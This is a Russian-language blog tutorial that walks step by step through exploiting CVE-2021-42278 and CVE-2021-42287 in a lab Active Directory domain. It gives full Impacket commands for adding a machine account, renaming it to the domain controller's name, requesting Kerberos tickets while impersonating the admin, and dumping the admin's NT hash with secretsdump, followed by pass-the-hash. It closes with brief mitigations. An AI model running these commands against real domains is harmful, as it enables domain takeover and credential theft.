От пользователя домена до прав админа: CVE-2021-42278, CVE-2021-42287

Пару дней назад опубликована информация о шикарной уязвимости, эксплуатация которой позволяет поднять себе привилегии от обычного пользователя домена до администратора за несколько шагов. На гитхабе можно найти эксплойт, который должен выполнять эти действия разом, но у меня он работать отказался, поэтому сейчас я покажу, как можно организовать вертикальное продвижение в инфраструктуру отдельными шагами. Ведь постепенное продвижение гораздо интереснее, не так ли? Чтож, погнали!

Вводные

Для стенда я собрал 2 станции – Windows Server 2012 и боевая Kali Linux.

Также, положим, что у нас раскрыта одна непривилегированная учётная запись домена: user:1qaz@WSX. Как получить хотябы минимальную учётку – я уже рассказывал ранее. Например тут:

Эксплуатация уязвимости

Суть уязвимости состоит в том, что по умолчанию пользователь может добавить до 10 рабочих станций в домен со своими привилегиями. Конечно, бдительные админы могли отключить эту функцию, поэтому убедимся, что наша исследуемая инфраструктура ей подвержена.

# git clone https://github.com/ropnop/windapsearch

При запуске скрипта получаем ошибку:

Traceback (most recent call last):
File “windapsearch.py”, line 3, in <module>
import ldap
ModuleNotFoundError: No module named ‘ldap’

Да, ещё окружение настроить нужно. Сейчас приведу список доустановок, который мне помог.

# pip3 install --upgrade pip
# pip3 install python3-ldap
# apt-get install libsasl2-dev python2-dev libldap2-dev libssl-dev
# pip install python-ldap

Да, тут пободался с версиями питона, но в итоге заработало )

# python3 windapsearch.py --dc 192.168.0.102 -d DC.LOCAL -u user -p '1qaz@WSX' --custom '(&(objectClass=domain)(distinguishedName=DC=DC,DC=LOCAL))' --attrs ms-ds-machineAccountQuota

Чтение атрибута показало, что действительно можно будет добавить до 10 компьютеров в AD. Этим и воспользуемся.

Добавляем произвольный компьютер

Следующим шагом мы добавим компьютер в AD. Поможет нам в этом мощный пакет скриптов под названием Impacket (импакет). Я буду периодически использовать его возможности в других статьях, это реально крутой набор. Сперва поставим его:

# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket
# pip3 install -r requirements.txt
# pip3 install .

Теперь перейдём в каталог examples и выполним команду добавления компьютера:

# python3 addcomputer.py -computer-name litladmin -computer-pass 'litl-admin.ru' -dc-ip 192.168.0.102 -dc-host main.dc.local dc.local/user:'1qaz@WSX'

Добавили узел с именем litladmin и паролем litl-admin.ru используя учётные данные нашего обычного пользователя.

Проверю, как выглядит:

Шаг следующий – переименуем компьютер в …. контроллер домена)

На наше счастье никто это не проверяет, поэтому воспользуемся готовым скриптом:

# wget https://gist.githubusercontent.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383/raw/39677c02d1ad17297eecdfa07b5cbe393bf94aaf/renameMachine.py

Скрипт рабочий, положу сюда же, в каталог Impacket-а.

Итак, меняем имя:

# python3 renameMachine.py DC.LOCAL/user:'1qaz@WSX' -dc-ip 192.168.0.102 -current-name 'litladmin$' -new-name MAIN

Опять же, использовали наши известные учётные данные обычного пользователя, ввели текущее имя узла и новое имя, которое должно совпадать с именем контроллера домена.

В оснастку можно не смотреть, новый узел там не появился. Но теперь внимание!

Получим TGT на имя DC

Ticket Granting Ticket (TGT) – первичный билет доступа к ресурсам. Запросим его на “своё” имя при помощи того же Impacket:

# python3 getTGT.py DC.LOCAL/MAIN:'litl-admin.ru' -dc-ip 192.168.0.102

Здесь обратите внимание! Билет запрашивается на имя узла (MAIN, который бывший наш litladmin$).

Полученный билет сохраняется в файлик MAIN.ccache.

Для использования билета его нужно сперва экспортировать в переменную окружения, а затем выполнить соответствующую команду импакета с ключом -k.

Переименовываем наш узел обратно в litladmin$

По старой схеме. Меняем местами параметры. Обратите внимание, что при указании нового имени – ставится символ $ – знак того, что это имя хоста, а не пользователя.

Получаем тикет на службу

На момент написания статьи в impacket ещё не входила поддержка параметра -self, поэтому, по совету авторов первоисточника, воспользуемся одним из пулл-реквестов и скачаем слегка модифицированный скрипт:

Сам pull-request: https://github.com/SecureAuthCorp/impacket/pull/1202/files

# wget raw.githubusercontent.com/SecureAuthCorp/impacket/b4774d60c7718edcf50196bf2de4aacd09d8ee99/examples/getST.py -O getST2.py

И теперь запросим билет:

# KRB5CCNAME=MAIN.ccache python3 getST2.py -spn LDAP/MAIN.DC.LOCAL DC.LOCAL/MAIN -k -no-pass -dc-ip 192.168.0.102 -impersonate admin -self

Тикет сохранился в файлик admin.ccache.

По старой схеме, экспортируем его и выполняем команду от имени пользователя.

Получаем хеш админа

# KRB5CCNAME=admin.ccache python3 secretsdump.py -k -no-pass MAIN.DC.LOCAL -dc-ip 192.168.0.102 -just-dc-user 'DC\admin'

Вот и драгоценный NT-хеш учётки. Что с ним делать дальше? Как вариант – Pass-the-hash, я описывал технику ранее. А сейчас мы воспользуемся Crackmapexec, которой вместо пароля можно передать этот хер (-H) и аутентифицироваться:

Дальше можно творить что душе угодно:

Выгрузить все учётки (SAM, NTDS), выполнять произвольные команды (-x / -X), использовать модули (lsassy, mimikatz) и т.д. В общем домен захвачен. Откланиваюсь. Было круто.

Выводы:

  1. Для защиты – отключаем возможность добавления обычным пользователем рабочих станций в ActiveDirectory
  2. Ставим патчи, закрывающие CVE-2021-42278, CVE-2021-42287

Хотите больше подобных статей с практическими заданиями? Ссылка на донат – на главной странице) Буду знать, что подобный формат заходит)

Интересно? Поделись с другом
Litl-Admin.ru

Comments:

Leave a Reply